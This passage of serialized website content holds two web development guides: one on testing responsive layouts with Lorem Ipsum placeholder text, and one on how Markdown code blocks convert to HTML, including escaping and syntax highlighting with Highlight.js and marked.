padding",[1560,144737,1663],{"class":1570},[1560,144739,5285],{"class":1576},[1560,144741,18868],{"class":1576},[1560,144743,32215],{"class":1669},[1560,144745,2228],{"class":1570},[1560,144747,144748],{"class":1562,"line":2529},[1560,144749,4959],{"class":1570},[1560,144751,144752],{"class":1562,"line":2534},[1560,144753,1585],{"class":1570},[11,144755,144757],{"id":144756},"grid-and-flexbox-layout-testing","Grid and Flexbox Layout Testing",[33,144759,144761],{"id":144760},"card-grid-overflow","Card Grid Overflow",[16,144763,144764],{},"Card layouts often break when placeholder text pushes cards beyond their expected height. Test with varying paragraph lengths to ensure your grid handles uneven content:",[135,144766,144768],{"className":6417,"code":144767,"language":6419,"meta":141,"style":141},"\u003Cdiv class=\"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6\">\n  \u003C!-- Each card should handle different text lengths -->\n  \u003Cdiv class=\"card\">\n    \u003Ch3>Short Title\u003C\u002Fh3>\n    \u003Cp>Lorem ipsum dolor sit amet, consectetur adipiscing elit.\u003C\u002Fp>\n  \u003C\u002Fdiv>\n  \u003Cdiv class=\"card\">\n    \u003Ch3>A Much Longer Title That Wraps on Mobile\u003C\u002Fh3>\n    \u003Cp>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam.\u003C\u002Fp>\n  \u003C\u002Fdiv>\n\u003C\u002Fdiv>\n",[143,144769,144770,144785,144790,144805,144818,144831,144839,144853,144866,144879,144887],{"__ignoreMap":141},[1560,144771,144772,144774,144776,144778,144780,144783],{"class":1562,"line":1563},[1560,144773,6431],{"class":1570},[1560,144775,7291],{"class":2484},[1560,144777,11423],{"class":1566},[1560,144779,7297],{"class":1570},[1560,144781,144782],{"class":5634},"\"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6\"",[1560,144784,6441],{"class":1570},[1560,144786,144787],{"class":1562,"line":337},[1560,144788,144789],{"class":1649},"  \u003C!-- Each card should handle different text lengths -->\n",[1560,144791,144792,144794,144796,144798,144800,144803],{"class":1562,"line":343},[1560,144793,11223],{"class":1570},[1560,144795,7291],{"class":2484},[1560,144797,11423],{"class":1566},[1560,144799,7297],{"class":1570},[1560,144801,144802],{"class":5634},"\"card\"",[1560,144804,6441],{"class":1570},[1560,144806,144807,144809,144811,144814,144816],{"class":1562,"line":365},[1560,144808,12292],{"class":1570},[1560,144810,33],{"class":2484},[1560,144812,144813],{"class":1570},">Short Title\u003C\u002F",[1560,144815,33],{"class":2484},[1560,144817,6441],{"class":1570},[1560,144819,144820,144822,144824,144827,144829],{"class":1562,"line":889},[1560,144821,12292],{"class":1570},[1560,144823,16],{"class":2484},[1560,144825,144826],{"class":1570},">Lorem ipsum dolor sit amet, consectetur adipiscing elit.\u003C\u002F",[1560,144828,16],{"class":2484},[1560,144830,6441],{"class":1570},[1560,144832,144833,144835,144837],{"class":1562,"line":1710},[1560,144834,12331],{"class":1570},[1560,144836,7291],{"class":2484},[1560,144838,6441],{"class":1570},[1560,144840,144841,144843,144845,144847,144849,144851],{"class":1562,"line":1717},[1560,144842,11223],{"class":1570},[1560,144844,7291],{"class":2484},[1560,144846,11423],{"class":1566},[1560,144848,7297],{"class":1570},[1560,144850,144802],{"class":5634},[1560,144852,6441],{"class":1570},[1560,144854,144855,144857,144859,144862,144864],{"class":1562,"line":1747},[1560,144856,12292],{"class":1570},[1560,144858,33],{"class":2484},[1560,144860,144861],{"class":1570},">A Much Longer Title That Wraps on Mobile\u003C\u002F",[1560,144863,33],{"class":2484},[1560,144865,6441],{"class":1570},[1560,144867,144868,144870,144872,144875,144877],{"class":1562,"line":2507},[1560,144869,12292],{"class":1570},[1560,144871,16],{"class":2484},[1560,144873,144874],{"class":1570},">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam.\u003C\u002F",[1560,144876,16],{"class":2484},[1560,144878,6441],{"class":1570},[1560,144880,144881,144883,144885],{"class":1562,"line":2524},[1560,144882,12331],{"class":1570},[1560,144884,7291],{"class":2484},[1560,144886,6441],{"class":1570},[1560,144888,144889,144891,144893],{"class":1562,"line":2529},[1560,144890,11242],{"class":1570},[1560,144892,7291],{"class":2484},[1560,144894,6441],{"class":1570},[16,144896,1388,144897,144900],{},[143,144898,144899],{},"align-items: start"," on flex containers when cards should maintain independent heights rather than stretching to match the tallest card.",[33,144902,144904],{"id":144903},"navigation-text-truncation","Navigation Text Truncation",[16,144906,144907],{},"Responsive navigation often truncates menu items on smaller screens. Lorem Ipsum labels reveal whether your truncation strategy works:",[135,144909,144911],{"className":1554,"code":144910,"language":1556,"meta":141,"style":141},".nav-item {\n  white-space: nowrap;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  max-width: 10ch; \u002F* truncate after ~10 characters *\u002F\n}\n",[143,144912,144913,144920,144930,144940,144950,144965],{"__ignoreMap":141},[1560,144914,144915,144918],{"class":1562,"line":1563},[1560,144916,144917],{"class":1566},".nav-item",[1560,144919,1571],{"class":1570},[1560,144921,144922,144924,144926,144928],{"class":1562,"line":337},[1560,144923,33428],{"class":1576},[1560,144925,1663],{"class":1570},[1560,144927,33433],{"class":1576},[1560,144929,2228],{"class":1570},[1560,144931,144932,144934,144936,144938],{"class":1562,"line":343},[1560,144933,74722],{"class":1576},[1560,144935,1663],{"class":1570},[1560,144937,44183],{"class":1576},[1560,144939,2228],{"class":1570},[1560,144941,144942,144944,144946,144948],{"class":1562,"line":365},[1560,144943,107482],{"class":1576},[1560,144945,1663],{"class":1570},[1560,144947,107487],{"class":1576},[1560,144949,2228],{"class":1570},[1560,144951,144952,144954,144956,144958,144960,144962],{"class":1562,"line":889},[1560,144953,66222],{"class":1576},[1560,144955,1663],{"class":1570},[1560,144957,36197],{"class":1576},[1560,144959,144676],{"class":1669},[1560,144961,3664],{"class":1570},[1560,144963,144964],{"class":1649},"\u002F* truncate after ~10 characters *\u002F\n",[1560,144966,144967],{"class":1562,"line":1710},[1560,144968,1585],{"class":1570},[11,144970,144972],{"id":144971},"dark-mode-and-responsive-text","Dark Mode and Responsive Text",[16,144974,144975],{},"Responsive designs that support dark mode need contrast testing at every breakpoint. Lorem Ipsum paragraphs in both modes reveal contrast issues:",[41,144977,144978,144981,144984],{},[44,144979,144980],{},"Light text on dark backgrounds may appear bolder due to halation",[44,144982,144983],{},"Font weights that look fine on desktop may feel too thin on mobile in dark mode",[44,144985,144986],{},"Placeholder text lets you focus on visual contrast without content distraction",[11,144988,144990],{"id":144989},"common-responsive-text-mistakes","Common Responsive Text Mistakes",[33,144992,144994],{"id":144993},"fixed-widths-on-text-containers","Fixed Widths on Text Containers",[135,144996,144998],{"className":1554,"code":144997,"language":1556,"meta":141,"style":141},"\u002F* Bad: fixed width prevents reflow *\u002F\n.sidebar-text {\n  width: 300px; \u002F* overflows on screens under 320px *\u002F\n}\n\n\u002F* Good: flexible width *\u002F\n.sidebar-text {\n  max-width: 300px;\n  width: 100%;\n}\n",[143,144999,145000,145005,145012,145027,145031,145035,145040,145046,145058,145070],{"__ignoreMap":141},[1560,145001,145002],{"class":1562,"line":1563},[1560,145003,145004],{"class":1649},"\u002F* Bad: fixed width prevents reflow *\u002F\n",[1560,145006,145007,145010],{"class":1562,"line":337},[1560,145008,145009],{"class":1566},".sidebar-text",[1560,145011,1571],{"class":1570},[1560,145013,145014,145016,145018,145020,145022,145024],{"class":1562,"line":343},[1560,145015,12386],{"class":1576},[1560,145017,1663],{"class":1570},[1560,145019,44009],{"class":1576},[1560,145021,1670],{"class":1669},[1560,145023,3664],{"class":1570},[1560,145025,145026],{"class":1649},"\u002F* overflows on screens under 320px *\u002F\n",[1560,145028,145029],{"class":1562,"line":365},[1560,145030,1585],{"class":1570},[1560,145032,145033],{"class":1562,"line":889},[1560,145034,1702],{"emptyLinePlaceholder":363},[1560,145036,145037],{"class":1562,"line":1710},[1560,145038,145039],{"class":1649},"\u002F* Good: flexible width *\u002F\n",[1560,145041,145042,145044],{"class":1562,"line":1717},[1560,145043,145009],{"class":1566},[1560,145045,1571],{"class":1570},[1560,145047,145048,145050,145052,145054,145056],{"class":1562,"line":1747},[1560,145049,66222],{"class":1576},[1560,145051,1663],{"class":1570},[1560,145053,44009],{"class":1576},[1560,145055,1670],{"class":1669},[1560,145057,2228],{"class":1570},[1560,145059,145060,145062,145064,145066,145068],{"class":1562,"line":2507},[1560,145061,12386],{"class":1576},[1560,145063,1663],{"class":1570},[1560,145065,18114],{"class":1576},[1560,145067,17990],{"class":1669},[1560,145069,2228],{"class":1570},[1560,145071,145072],{"class":1562,"line":2524},[1560,145073,1585],{"class":1570},[33,145075,145077],{"id":145076},"missing-min-width-on-short-text","Missing Min-Width on Short Text",[16,145079,145080],{},"Empty or very short text can collapse containers. Test with both long and short Lorem Ipsum paragraphs:",[135,145082,145084],{"className":1554,"code":145083,"language":1556,"meta":141,"style":141},".card {\n  min-height: 120px; \u002F* prevent collapse with minimal content *\u002F\n}\n",[143,145085,145086,145092,145107],{"__ignoreMap":141},[1560,145087,145088,145090],{"class":1562,"line":1563},[1560,145089,1567],{"class":1566},[1560,145091,1571],{"class":1570},[1560,145093,145094,145096,145098,145100,145102,145104],{"class":1562,"line":337},[1560,145095,32698],{"class":1576},[1560,145097,1663],{"class":1570},[1560,145099,18034],{"class":1576},[1560,145101,1670],{"class":1669},[1560,145103,3664],{"class":1570},[1560,145105,145106],{"class":1649},"\u002F* prevent collapse with minimal content *\u002F\n",[1560,145108,145109],{"class":1562,"line":343},[1560,145110,1585],{"class":1570},[11,145112,1355],{"id":1354},[41,145114,145115,145118,145121,145124,145127,145130],{},[44,145116,145117],{},"Use controlled paragraph lengths to test layout behavior at each breakpoint",[44,145119,145120],{},"Test text overflow with long headings and unbroken strings",[44,145122,145123],{},"Verify fluid typography scaling with Lorem Ipsum at intermediate viewport widths",[44,145125,145126],{},"Card grids need testing with uneven paragraph lengths to prevent layout shifts",[44,145128,145129],{},"Dark mode contrast should be checked at mobile breakpoints, not just desktop",[44,145131,145132],{},"Avoid fixed widths on text containers; use max-width with percentage fallbacks",[11,145134,286],{"id":285},[16,145136,145137,145138,145140],{},"Generate exactly the paragraph lengths you need for responsive testing with our free ",[98,145139,6789],{"href":6788},". Specify word counts, paragraph counts, and sentence structure — all processed locally in your browser.",[16,145142,145143],{},[98,145144,6795],{"href":6788},[2043,145146,145147],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":145149},[145150,145151,145155,145159,145163,145164,145168,145169],{"id":144410,"depth":337,"text":144411},{"id":144420,"depth":337,"text":144421,"children":145152},[145153,145154],{"id":144424,"depth":343,"text":144425},{"id":144486,"depth":343,"text":144487},{"id":144569,"depth":337,"text":144570,"children":145156},[145157,145158],{"id":144573,"depth":343,"text":144574},{"id":144644,"depth":343,"text":144645},{"id":144756,"depth":337,"text":144757,"children":145160},[145161,145162],{"id":144760,"depth":343,"text":144761},{"id":144903,"depth":343,"text":144904},{"id":144971,"depth":337,"text":144972},{"id":144989,"depth":337,"text":144990,"children":145165},[145166,145167],{"id":144993,"depth":343,"text":144994},{"id":145076,"depth":343,"text":145077},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Learn how Lorem Ipsum helps test responsive layouts. Discover text overflow, truncation, and breakpoint strategies for mobile-first design.",{"immutable":363},"\u002Fguides\u002Florem-ipsum-responsive-design",{"title":144405,"description":145170},"guides\u002Florem-ipsum-responsive-design","HB3FePTeVVTiSecddIDqYkjFn6uHWE8caQi5ULvXX24",{"id":145177,"title":145178,"body":145179,"date":2070,"description":146093,"extension":361,"meta":146094,"navigation":363,"path":146095,"readingTime":1710,"seo":146096,"stem":146097,"__hash__":146098},"guides\u002Fguides\u002Fmarkdown-code-blocks.md","Markdown to HTML: Handling Code Blocks Correctly",{"type":8,"value":145180,"toc":146071},[145181,145185,145188,145191,145195,145197,145200,145220,145226,145230,145236,145302,145305,145309,145312,145327,145330,145365,145369,145395,145398,145402,145405,145414,145416,145444,145448,145451,145460,145464,145467,145492,145498,145508,145646,145656,145660,145664,145733,145743,145747,145750,145936,145940,145943,146022,146026,146030,146033,146057,146062,146068],[11,145182,145184],{"id":145183},"code-blocks-are-the-trickiest-markdown-element","Code Blocks Are the Trickiest Markdown Element",[16,145186,145187],{},"Paragraphs, headings, and lists convert predictably from Markdown to HTML. Code blocks do not. Between fenced blocks, indented blocks, language hints, syntax highlighting, and HTML escaping, there are plenty of ways the conversion can go wrong.",[16,145189,145190],{},"Understanding how Markdown parsers handle code blocks helps you write correct Markdown and debug unexpected HTML output.",[11,145192,145194],{"id":145193},"fenced-code-blocks","Fenced Code Blocks",[33,145196,60969],{"id":60968},[16,145198,145199],{},"Fenced code blocks use triple backticks or tildes. This is the most common and recommended syntax.",[135,145201,145203],{"className":34628,"code":145202,"language":34630,"meta":141,"style":141},"```javascript\nconst greeting = \"Hello, world!\";\nconsole.log(greeting);\n",[143,145204,145205,145210,145215],{"__ignoreMap":141},[1560,145206,145207],{"class":1562,"line":1563},[1560,145208,145209],{},"```javascript\n",[1560,145211,145212],{"class":1562,"line":337},[1560,145213,145214],{},"const greeting = \"Hello, world!\";\n",[1560,145216,145217],{"class":1562,"line":343},[1560,145218,145219],{},"console.log(greeting);\n",[135,145221,145224],{"className":145222,"code":145223,"language":140},[138],"\nProduces:\n\n```html\n\u003Cpre>\u003Ccode class=\"language-javascript\">const greeting = \"Hello, world!\";\nconsole.log(greeting);\n\u003C\u002Fcode>\u003C\u002Fpre>\n",[143,145225,145223],{"__ignoreMap":141},[33,145227,145229],{"id":145228},"language-hints","Language Hints",[16,145231,145232,145233,132540],{},"The text after the opening fence is the info string. Most parsers pass it as a CSS class with the ",[143,145234,145235],{},"language-",[193,145237,145238,145250],{},[196,145239,145240],{},[199,145241,145242,145245,145248],{},[202,145243,145244],{},"Info String",[202,145246,145247],{},"HTML Class",[202,145249,2758],{},[211,145251,145252,145266,145279,145292],{},[199,145253,145254,145258,145263],{},[216,145255,145256],{},[143,145257,1609],{},[216,145259,145260],{},[143,145261,145262],{},"language-javascript",[216,145264,145265],{},"Syntax highlighting hint",[199,145267,145268,145272,145277],{},[216,145269,145270],{},[143,145271,8261],{},[216,145273,145274],{},[143,145275,145276],{},"language-python",[216,145278,145265],{},[199,145280,145281,145285,145290],{},[216,145282,145283],{},[143,145284,23486],{},[216,145286,145287],{},[143,145288,145289],{},"language-json",[216,145291,145265],{},[199,145293,145294,145297,145299],{},[216,145295,145296],{},"``",[216,145298,135384],{},[216,145300,145301],{},"No language specified",[16,145303,145304],{},"The info string does not enable highlighting by itself. You need a syntax highlighting library like Prism.js, Highlight.js, or Shiki to read the class and apply colors.",[11,145306,145308],{"id":145307},"indented-code-blocks","Indented Code Blocks",[16,145310,145311],{},"Code indented by four spaces (or one tab) is treated as a code block in standard Markdown:",[135,145313,145315],{"className":34628,"code":145314,"language":34630,"meta":141,"style":141},"    const x = 42;\n    console.log(x);\n",[143,145316,145317,145322],{"__ignoreMap":141},[1560,145318,145319],{"class":1562,"line":1563},[1560,145320,145321],{},"    const x = 42;\n",[1560,145323,145324],{"class":1562,"line":337},[1560,145325,145326],{},"    console.log(x);\n",[16,145328,145329],{},"Produces:",[135,145331,145333],{"className":6417,"code":145332,"language":6419,"meta":141,"style":141},"\u003Cpre>\u003Ccode>const x = 42;\nconsole.log(x);\n\u003C\u002Fcode>\u003C\u002Fpre>\n",[143,145334,145335,145348,145353],{"__ignoreMap":141},[1560,145336,145337,145339,145341,145343,145345],{"class":1562,"line":1563},[1560,145338,6431],{"class":1570},[1560,145340,135],{"class":2484},[1560,145342,41257],{"class":1570},[1560,145344,143],{"class":2484},[1560,145346,145347],{"class":1570},">const x = 42;\n",[1560,145349,145350],{"class":1562,"line":337},[1560,145351,145352],{"class":1570},"console.log(x);\n",[1560,145354,145355,145357,145359,145361,145363],{"class":1562,"line":343},[1560,145356,11242],{"class":1570},[1560,145358,143],{"class":2484},[1560,145360,12441],{"class":1570},[1560,145362,135],{"class":2484},[1560,145364,6441],{"class":1570},[33,145366,145368],{"id":145367},"problems-with-indented-blocks","Problems with Indented Blocks",[41,145370,145371,145377,145383,145389],{},[44,145372,145373,145376],{},[47,145374,145375],{},"No language hint",": There is no way to specify the language",[44,145378,145379,145382],{},[47,145380,145381],{},"Easy to trigger accidentally",": Four spaces at the start of a paragraph converts it to code",[44,145384,145385,145388],{},[47,145386,145387],{},"Hard to read in source",": The indentation is not visually distinctive",[44,145390,145391,145394],{},[47,145392,145393],{},"Removed in some flavors",": GitHub Flavored Markdown deprecates indented code blocks in lists",[16,145396,145397],{},"Prefer fenced code blocks in all new Markdown content.",[11,145399,145401],{"id":145400},"inline-code","Inline Code",[16,145403,145404],{},"Single backticks wrap inline code:",[135,145406,145408],{"className":34628,"code":145407,"language":34630,"meta":141,"style":141},"Use the `console.log()` function to debug.\n",[143,145409,145410],{"__ignoreMap":141},[1560,145411,145412],{"class":1562,"line":1563},[1560,145413,145407],{},[16,145415,145329],{},[135,145417,145419],{"className":6417,"code":145418,"language":6419,"meta":141,"style":141},"\u003Cp>Use the \u003Ccode>console.log()\u003C\u002Fcode> function to debug.\u003C\u002Fp>\n",[143,145420,145421],{"__ignoreMap":141},[1560,145422,145423,145425,145427,145430,145432,145435,145437,145440,145442],{"class":1562,"line":1563},[1560,145424,6431],{"class":1570},[1560,145426,16],{"class":2484},[1560,145428,145429],{"class":1570},">Use the \u003C",[1560,145431,143],{"class":2484},[1560,145433,145434],{"class":1570},">console.log()\u003C\u002F",[1560,145436,143],{"class":2484},[1560,145438,145439],{"class":1570},"> function to debug.\u003C\u002F",[1560,145441,16],{"class":2484},[1560,145443,6441],{"class":1570},[33,145445,145447],{"id":145446},"escaping-inside-inline-code","Escaping Inside Inline Code",[16,145449,145450],{},"Backticks inside inline code require double backtick delimiters:",[135,145452,145454],{"className":34628,"code":145453,"language":34630,"meta":141,"style":141},"`` `nested` `` — renders as: `nested`\n",[143,145455,145456],{"__ignoreMap":141},[1560,145457,145458],{"class":1562,"line":1563},[1560,145459,145453],{},[11,145461,145463],{"id":145462},"html-escaping-in-code-blocks","HTML Escaping in Code Blocks",[16,145465,145466],{},"Code blocks must escape HTML special characters. Without escaping, the browser interprets tags inside the code instead of displaying them.",[135,145468,145470],{"className":34628,"code":145469,"language":34630,"meta":141,"style":141},"```html\n\u003Cdiv class=\"container\">\n  \u003Cp>Hello\u003C\u002Fp>\n\u003C\u002Fdiv>\n",[143,145471,145472,145477,145482,145487],{"__ignoreMap":141},[1560,145473,145474],{"class":1562,"line":1563},[1560,145475,145476],{},"```html\n",[1560,145478,145479],{"class":1562,"line":337},[1560,145480,145481],{},"\u003Cdiv class=\"container\">\n",[1560,145483,145484],{"class":1562,"line":343},[1560,145485,145486],{},"  \u003Cp>Hello\u003C\u002Fp>\n",[1560,145488,145489],{"class":1562,"line":365},[1560,145490,145491],{},"\u003C\u002Fdiv>\n",[135,145493,145496],{"className":145494,"code":145495,"language":140},[138],"\nProduces:\n\n```html\n\u003Cpre>\u003Ccode class=\"language-html\">&lt;div class=\"container\"&gt;\n  &lt;p&gt;Hello&lt;\u002Fp&gt;\n&lt;\u002Fdiv&gt;\n\u003C\u002Fcode>\u003C\u002Fpre>\n",[143,145497,145495],{"__ignoreMap":141},[16,145499,145500,145501,1459,145503,1466,145505,145507],{},"The Markdown parser handles this escaping automatically. But if you are building a custom converter, you must escape ",[143,145502,6431],{},[143,145504,28226],{},[143,145506,13530],{}," yourself:",[135,145509,145511],{"className":1607,"code":145510,"language":1609,"meta":141,"style":141},"function escapeHtml(str) {\n  return str\n    .replace(\u002F&\u002Fg, '&amp;')\n    .replace(\u002F\u003C\u002Fg, '&lt;')\n    .replace(\u002F>\u002Fg, '&gt;')\n    .replace(\u002F\"\u002Fg, '&quot;')\n    .replace(\u002F'\u002Fg, '&#039;');\n}\n",[143,145512,145513,145525,145531,145553,145575,145597,145619,145642],{"__ignoreMap":141},[1560,145514,145515,145517,145519,145521,145523],{"class":1562,"line":1563},[1560,145516,8648],{"class":1669},[1560,145518,117216],{"class":1566},[1560,145520,1688],{"class":1570},[1560,145522,38740],{"class":2219},[1560,145524,9345],{"class":1570},[1560,145526,145527,145529],{"class":1562,"line":337},[1560,145528,9350],{"class":1669},[1560,145530,38749],{"class":1570},[1560,145532,145533,145535,145537,145539,145541,145543,145545,145547,145549,145551],{"class":1562,"line":343},[1560,145534,37982],{"class":1570},[1560,145536,22721],{"class":1566},[1560,145538,1688],{"class":1570},[1560,145540,9423],{"class":5634},[1560,145542,13530],{"class":11919},[1560,145544,9423],{"class":5634},[1560,145546,22733],{"class":1669},[1560,145548,1459],{"class":1570},[1560,145550,117116],{"class":5634},[1560,145552,8252],{"class":1570},[1560,145554,145555,145557,145559,145561,145563,145565,145567,145569,145571,145573],{"class":1562,"line":365},[1560,145556,37982],{"class":1570},[1560,145558,22721],{"class":1566},[1560,145560,1688],{"class":1570},[1560,145562,9423],{"class":5634},[1560,145564,6431],{"class":11919},[1560,145566,9423],{"class":5634},[1560,145568,22733],{"class":1669},[1560,145570,1459],{"class":1570},[1560,145572,117250],{"class":5634},[1560,145574,8252],{"class":1570},[1560,145576,145577,145579,145581,145583,145585,145587,145589,145591,145593,145595],{"class":1562,"line":889},[1560,145578,37982],{"class":1570},[1560,145580,22721],{"class":1566},[1560,145582,1688],{"class":1570},[1560,145584,9423],{"class":5634},[1560,145586,28226],{"class":11919},[1560,145588,9423],{"class":5634},[1560,145590,22733],{"class":1669},[1560,145592,1459],{"class":1570},[1560,145594,117260],{"class":5634},[1560,145596,8252],{"class":1570},[1560,145598,145599,145601,145603,145605,145607,145609,145611,145613,145615,145617],{"class":1562,"line":1710},[1560,145600,37982],{"class":1570},[1560,145602,22721],{"class":1566},[1560,145604,1688],{"class":1570},[1560,145606,9423],{"class":5634},[1560,145608,8721],{"class":11919},[1560,145610,9423],{"class":5634},[1560,145612,22733],{"class":1669},[1560,145614,1459],{"class":1570},[1560,145616,117270],{"class":5634},[1560,145618,8252],{"class":1570},[1560,145620,145621,145623,145625,145627,145629,145631,145633,145635,145637,145640],{"class":1562,"line":1717},[1560,145622,37982],{"class":1570},[1560,145624,22721],{"class":1566},[1560,145626,1688],{"class":1570},[1560,145628,9423],{"class":5634},[1560,145630,9361],{"class":11919},[1560,145632,9423],{"class":5634},[1560,145634,22733],{"class":1669},[1560,145636,1459],{"class":1570},[1560,145638,145639],{"class":5634},"'&#039;'",[1560,145641,1744],{"class":1570},[1560,145643,145644],{"class":1562,"line":1747},[1560,145645,1585],{"class":1570},[16,145647,145648,145649,145651,145652,28833,145654,468],{},"Always escape ",[143,145650,13530],{}," first — otherwise ",[143,145653,116644],{},[143,145655,117042],{},[11,145657,145659],{"id":145658},"syntax-highlighting-options","Syntax Highlighting Options",[33,145661,145663],{"id":145662},"client-side-browser","Client-Side (Browser)",[135,145665,145667],{"className":6417,"code":145666,"language":6419,"meta":141,"style":141},"\u003C!-- Include Highlight.js -->\n\u003Clink rel=\"stylesheet\" href=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fhighlight.js\u002F11.9.0\u002Fstyles\u002Fgithub.min.css\">\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fhighlight.js\u002F11.9.0\u002Fhighlight.min.js\">\u003C\u002Fscript>\n\u003Cscript>hljs.highlightAll();\u003C\u002Fscript>\n",[143,145668,145669,145674,145695,145714],{"__ignoreMap":141},[1560,145670,145671],{"class":1562,"line":1563},[1560,145672,145673],{"class":1649},"\u003C!-- Include Highlight.js -->\n",[1560,145675,145676,145678,145680,145682,145684,145686,145688,145690,145693],{"class":1562,"line":337},[1560,145677,6431],{"class":1570},[1560,145679,40993],{"class":2484},[1560,145681,40996],{"class":1566},[1560,145683,7297],{"class":1570},[1560,145685,41001],{"class":5634},[1560,145687,41004],{"class":1566},[1560,145689,7297],{"class":1570},[1560,145691,145692],{"class":5634},"\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fhighlight.js\u002F11.9.0\u002Fstyles\u002Fgithub.min.css\"",[1560,145694,6441],{"class":1570},[1560,145696,145697,145699,145701,145703,145705,145708,145710,145712],{"class":1562,"line":343},[1560,145698,6431],{"class":1570},[1560,145700,11475],{"class":2484},[1560,145702,10631],{"class":1566},[1560,145704,7297],{"class":1570},[1560,145706,145707],{"class":5634},"\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fhighlight.js\u002F11.9.0\u002Fhighlight.min.js\"",[1560,145709,12441],{"class":1570},[1560,145711,11475],{"class":2484},[1560,145713,6441],{"class":1570},[1560,145715,145716,145718,145720,145723,145726,145729,145731],{"class":1562,"line":365},[1560,145717,6431],{"class":1570},[1560,145719,11475],{"class":2484},[1560,145721,145722],{"class":1570},">hljs.",[1560,145724,145725],{"class":1566},"highlightAll",[1560,145727,145728],{"class":1570},"();\u003C\u002F",[1560,145730,11475],{"class":2484},[1560,145732,6441],{"class":1570},[16,145734,145735,145736,145739,145740,145742],{},"Highlight.js reads the ",[143,145737,145738],{},"language-xxx"," class from Markdown output and applies ",[143,145741,126772],{}," elements with color classes.",[33,145744,145746],{"id":145745},"build-time-ssgssr","Build-Time (SSG\u002FSSR)",[16,145748,145749],{},"For static sites, highlight at build time to avoid client-side JavaScript:",[135,145751,145753],{"className":1607,"code":145752,"language":1609,"meta":141,"style":141},"const { marked } = require('marked');\nconst { markedHighlight } = require('marked-highlight');\nconst hljs = require('highlight.js');\n\nmarked.use(markedHighlight({\n  langPrefix: 'hljs language-',\n  highlight(code, lang) {\n    const language = hljs.getLanguage(lang) ? lang : 'plaintext';\n    return hljs.highlight(code, { language }).value;\n  }\n}));\n\nconst html = marked.parse(markdown);\n\u002F\u002F Output already contains highlighted spans\n",[143,145754,145755,145777,145799,145817,145821,145835,145845,145861,145891,145903,145907,145911,145915,145931],{"__ignoreMap":141},[1560,145756,145757,145759,145761,145764,145766,145768,145770,145772,145775],{"class":1562,"line":1563},[1560,145758,8180],{"class":1669},[1560,145760,1658],{"class":1570},[1560,145762,145763],{"class":1576},"marked",[1560,145765,49704],{"class":1570},[1560,145767,7297],{"class":1669},[1560,145769,20658],{"class":1566},[1560,145771,1688],{"class":1570},[1560,145773,145774],{"class":5634},"'marked'",[1560,145776,1744],{"class":1570},[1560,145778,145779,145781,145783,145786,145788,145790,145792,145794,145797],{"class":1562,"line":337},[1560,145780,8180],{"class":1669},[1560,145782,1658],{"class":1570},[1560,145784,145785],{"class":1576},"markedHighlight",[1560,145787,49704],{"class":1570},[1560,145789,7297],{"class":1669},[1560,145791,20658],{"class":1566},[1560,145793,1688],{"class":1570},[1560,145795,145796],{"class":5634},"'marked-highlight'",[1560,145798,1744],{"class":1570},[1560,145800,145801,145803,145806,145808,145810,145812,145815],{"class":1562,"line":343},[1560,145802,8180],{"class":1669},[1560,145804,145805],{"class":1576}," hljs",[1560,145807,8186],{"class":1669},[1560,145809,20658],{"class":1566},[1560,145811,1688],{"class":1570},[1560,145813,145814],{"class":5634},"'highlight.js'",[1560,145816,1744],{"class":1570},[1560,145818,145819],{"class":1562,"line":365},[1560,145820,1702],{"emptyLinePlaceholder":363},[1560,145822,145823,145826,145829,145831,145833],{"class":1562,"line":889},[1560,145824,145825],{"class":1570},"marked.",[1560,145827,145828],{"class":1566},"use",[1560,145830,1688],{"class":1570},[1560,145832,145785],{"class":1566},[1560,145834,17525],{"class":1570},[1560,145836,145837,145840,145843],{"class":1562,"line":1710},[1560,145838,145839],{"class":1570},"  langPrefix: ",[1560,145841,145842],{"class":5634},"'hljs language-'",[1560,145844,11943],{"class":1570},[1560,145846,145847,145850,145852,145854,145856,145859],{"class":1562,"line":1717},[1560,145848,145849],{"class":1566},"  